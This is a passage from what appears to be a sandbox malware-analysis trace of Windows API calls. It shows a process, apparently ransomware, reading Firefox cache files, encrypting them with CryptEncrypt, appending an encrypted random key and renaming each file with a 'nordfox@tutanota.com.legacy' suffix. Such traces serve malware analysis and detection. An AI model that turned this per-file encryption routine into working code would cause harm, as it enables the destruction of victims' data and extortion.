lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4D7A41C5AA58D81098A00BB2DCD370DEC1EBBBC5.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4d7a41c5aa58d81098a00bb2dcd370dec1ebbbc5.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.649] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ddde0 | out: pbBuffer=0x30ddde0) returned 1 [0188.649] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.649] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4C2BFD9D85D0C1B7527A1BAD0613676DA6222786", dwFileAttributes=0x80) returned 1 [0188.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dd8b8 [0188.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.649] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4C2BFD9D85D0C1B7527A1BAD0613676DA6222786" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4c2bfd9d85d0c1b7527a1bad0613676da6222786"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.650] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1322) returned 1 [0188.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x52a) returned 0x619c48 [0188.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x52a) returned 0x30f3888 [0188.650] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0188.651] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.652] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0188.652] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x52a [0188.652] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.652] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ddde0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ddde0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.652] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ddde0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ddde0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.652] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.653] CloseHandle (hObject=0x1b80) returned 1 [0188.653] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4C2BFD9D85D0C1B7527A1BAD0613676DA6222786" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4c2bfd9d85d0c1b7527a1bad0613676da6222786"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4C2BFD9D85D0C1B7527A1BAD0613676DA6222786.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4c2bfd9d85d0c1b7527a1bad0613676da6222786.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.655] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dd288 | out: pbBuffer=0x30dd288) returned 1 [0188.655] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.655] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4BA0EA042C54101B7DDCD0C9F711AB73A69E39AF", dwFileAttributes=0x80) returned 1 [0188.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dd7b0 [0188.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.656] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4BA0EA042C54101B7DDCD0C9F711AB73A69E39AF" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4ba0ea042c54101b7ddcd0c9f711ab73a69e39af"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.657] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4412) returned 1 [0188.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x113c) returned 0x30f3888 [0188.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x113c) returned 0x30f49d0 [0188.657] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x113c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x113c, lpOverlapped=0x0) returned 1 [0188.690] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4412, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.690] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f49d0*, nNumberOfBytesToWrite=0x113c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f49d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x113c, lpOverlapped=0x0) returned 1 [0188.690] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x113c [0188.690] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.690] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dd288*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dd288*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.691] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dd288*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd288*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.691] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.691] CloseHandle (hObject=0x1b80) returned 1 [0188.691] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4BA0EA042C54101B7DDCD0C9F711AB73A69E39AF" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4ba0ea042c54101b7ddcd0c9f711ab73a69e39af"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4BA0EA042C54101B7DDCD0C9F711AB73A69E39AF.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4ba0ea042c54101b7ddcd0c9f711ab73a69e39af.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.694] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30de938 | out: pbBuffer=0x30de938) returned 1 [0188.694] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0188.694] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4BA0471095F4C3DB3F7C817993B07112EBDB3F59", dwFileAttributes=0x80) returned 1 [0188.694] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30de410 [0188.694] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.694] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4BA0471095F4C3DB3F7C817993B07112EBDB3F59" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4ba0471095f4c3db3f7c817993b07112ebdb3f59"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.695] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=7249) returned 1 [0188.695] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1c51) returned 0x30f3888 [0188.695] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1c51) returned 0x30df058 [0188.695] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x1c51, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x1c51, lpOverlapped=0x0) returned 1 [0188.734] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-7249, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.734] WriteFile (in: hFile=0x1b80, lpBuffer=0x30df058*, nNumberOfBytesToWrite=0x1c51, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1c51, lpOverlapped=0x0) returned 1 [0188.738] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1c51 [0188.738] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.738] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30de938*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30de938*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.739] WriteFile (in: hFile=0x1b80, lpBuffer=0x30de938*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de938*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.739] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.739] CloseHandle (hObject=0x1b80) returned 1 [0188.740] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4BA0471095F4C3DB3F7C817993B07112EBDB3F59" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4ba0471095f4c3db3f7c817993b07112ebdb3f59"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4BA0471095F4C3DB3F7C817993B07112EBDB3F59.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4ba0471095f4c3db3f7c817993b07112ebdb3f59.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.743] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30de410 | out: pbBuffer=0x30de410) returned 1 [0188.743] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0188.743] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4B18B5ADA8BF2E475961694931BE215AED8ECBD5", dwFileAttributes=0x80) returned 1 [0188.744] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30de830 [0188.744] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.744] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4B18B5ADA8BF2E475961694931BE215AED8ECBD5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4b18b5ada8bf2e475961694931be215aed8ecbd5"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.744] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3582) returned 1 [0188.744] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xdfe) returned 0x30f3888 [0188.745] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xdfe) returned 0x30f4690 [0188.745] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xdfe, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xdfe, lpOverlapped=0x0) returned 1 [0188.746] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3582, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.746] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4690*, nNumberOfBytesToWrite=0xdfe, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4690*, lpNumberOfBytesWritten=0x2e1f9bc*=0xdfe, lpOverlapped=0x0) returned 1 [0188.746] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xdfe [0188.746] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.746] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30de410*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30de410*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.746] WriteFile (in: hFile=0x1b80, lpBuffer=0x30de410*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de410*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.747] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.747] CloseHandle (hObject=0x1b80) returned 1 [0188.747] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4B18B5ADA8BF2E475961694931BE215AED8ECBD5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4b18b5ada8bf2e475961694931be215aed8ecbd5"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4B18B5ADA8BF2E475961694931BE215AED8ECBD5.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4b18b5ada8bf2e475961694931be215aed8ecbd5.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.749] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dd5a0 | out: pbBuffer=0x30dd5a0) returned 1 [0188.749] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.749] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4A46AC76F0CCC4293CC380999116F3B7911F85BE", dwFileAttributes=0x80) returned 1 [0188.749] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ddff0 [0188.749] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.749] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4A46AC76F0CCC4293CC380999116F3B7911F85BE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4a46ac76f0ccc4293cc380999116f3b7911f85be"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.750] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3709) returned 1 [0188.750] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe7d) returned 0x30f3888 [0188.750] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe7d) returned 0x30f4710 [0188.750] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xe7d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xe7d, lpOverlapped=0x0) returned 1 [0188.751] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3709, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.751] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4710*, nNumberOfBytesToWrite=0xe7d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4710*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe7d, lpOverlapped=0x0) returned 1 [0188.752] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe7d [0188.752] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.752] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dd5a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dd5a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.752] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dd5a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd5a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.752] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.752] CloseHandle (hObject=0x1b80) returned 1 [0188.752] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4A46AC76F0CCC4293CC380999116F3B7911F85BE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4a46ac76f0ccc4293cc380999116f3b7911f85be"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4A46AC76F0CCC4293CC380999116F3B7911F85BE.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4a46ac76f0ccc4293cc380999116f3b7911f85be.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.762] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ddee8 | out: pbBuffer=0x30ddee8) returned 1 [0188.762] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.762] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\49BEF680B849DB26256F9DA3DDFF8948DC33EB78", dwFileAttributes=0x80) returned 1 [0188.763] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dd078 [0188.763] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.763] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\49BEF680B849DB26256F9DA3DDFF8948DC33EB78" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\49bef680b849db26256f9da3ddff8948dc33eb78"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.763] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1320) returned 1 [0188.763] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x528) returned 0x619c48 [0188.763] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x528) returned 0x30f3888 [0188.763] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0188.859] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.859] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0188.859] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x528 [0188.859] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.859] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ddee8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ddee8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.860] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ddee8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ddee8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.860] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.860] CloseHandle (hObject=0x1b80) returned 1 [0188.860] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\49BEF680B849DB26256F9DA3DDFF8948DC33EB78" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\49bef680b849db26256f9da3ddff8948dc33eb78"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\49BEF680B849DB26256F9DA3DDFF8948DC33EB78.1506877342345.nordfox@tutanota.com.legacy" (normalized: 